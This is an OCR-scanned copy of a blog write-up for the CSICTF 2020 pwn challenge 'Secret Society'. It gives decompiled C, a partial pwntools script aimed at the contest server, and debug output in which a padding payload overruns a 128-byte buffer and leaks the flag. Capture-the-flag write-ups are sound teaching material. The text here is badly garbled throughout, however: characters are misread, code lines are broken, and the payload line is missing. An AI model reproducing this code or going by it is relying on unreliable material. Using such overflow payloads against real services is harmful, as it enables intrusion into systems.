[ CSICTF]) Secret Society WriteUp

BHRT F 2020-07-23 15:52:51 KA 194 S8R

X ER%: CTE

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/tqydyqt/article/details/107460378

FERAL


https://blog.csdn.net/tqydyqt
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/tqydyqt/article/details/107460378

Secret Society

494
[ pwn

Wanna enter the Secret Society? Well you have to find the
secret code first!

nc chall.csivit.com 30041
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int _ cdecl main(int argc, const char **argv, const char **envp)
{
char *v3; // rax
char v5[128]; // [rsp+l@h] [rbp-Déh]
char s; // [rsp+98h] [rbp-58h]
FILE *stream; // [rsp+C8h] [rbp-18h]
char *v8; // [rsp+D8h] [rbp-18h]
_ gid_t rgid; // [rsp+DCh] [rbp-4h]
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18| setvbuf(_bss_start, 8LL, 2, @LL);
11| rgid = getegid();

12| setresgid(rgid, rgid, rgid);

13| memset(&s, @, 8x32uLL);

14| memset(vs, @, @x88uLL);

15| puts("what is the secret phrase?");
16| fgets(vs, 128, stdin);

17| wd = strchr{vs, 18);

18| if ( vd )

19 8 = B8;

28| w3 = &vs[strlen(vs)];
21| *v3 = 'era ew ,';

22| *(v3 + 1) = "hwyreve °;
23] *(vi + 4) = ".ere’;

24| v3[2e] = @;
25| stream = fopen("flag.txt", "r");
26| if ( !stream )

27

28 printf("You are a double agent, it's game over for you.”™, "r", argv);
29 exit(@);

e }

31| fgets(&s, 5@, stream);

32| printf("Shhh... don't tell anyone else about ™, 5@LL, argv);
33| puts(vs);

34| return 8;

35(}
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from pwn import
from LibcSearcher import
from struct import pack

context.os="linux"'
context.arch="amd64"'
context.log level='debug'

lambda x:io.send(x)
lambda x:io.sendline(x)
lambda x:io.recvuntil(x)
lambda :io.recvline()
lambda :io.recv()

lambda x:io.recv(x)

sla=lambda x,y:io.sendlineafter(x,y)

io=remote('chall.csivit.com',30041)
#io=process('./secret-society’)
elf=ELF('./secret-society"')

'%128)

io.interactive()

wesker@ubuntu: ~/Desktop
X{H(F) 4RIB(E) EER(V) #ERS) LR FEBIH)

[*] '/home/wesker /Desktop/secret-society’

Arch: amd64-64-1ittle

RELRO: Partial RELROD

Stack:

NX:

PIE:

] Received 0x1b bytes:
'What is the secret phrasez\n’
] Sent 0x81 bytes:

'3a3232332323232323232323232323932393333333333333333333333333333333333333333a
333333333333333333333333333333333333333333aaaaaaaaaaa\n’
[*] Switching to interactive mode
[ ] Received 0x25 bytes:

"Shhh... don't tell anyone else about "
hhh... don't tell anyone else about [ ] Received ©xa2 bytes:

'3a3232332323232323232323232323932393333333333333333333333333333333333333333a
333333333333333333333333333333333333333333333333333a,csivit{Bu!!er_e3plolts_ar5_
Gasy}\n’

"\n'
33333333333333333333333333333333333333333333333333333333333333333333333333333334a
d3adaaadadadaaaaaaaadadadaadaaaaaaasadaaadaaadaaaa,csivit{Bu!l!er e3plolts ar5 5asy}

[*i Got EOF while reading in interactive
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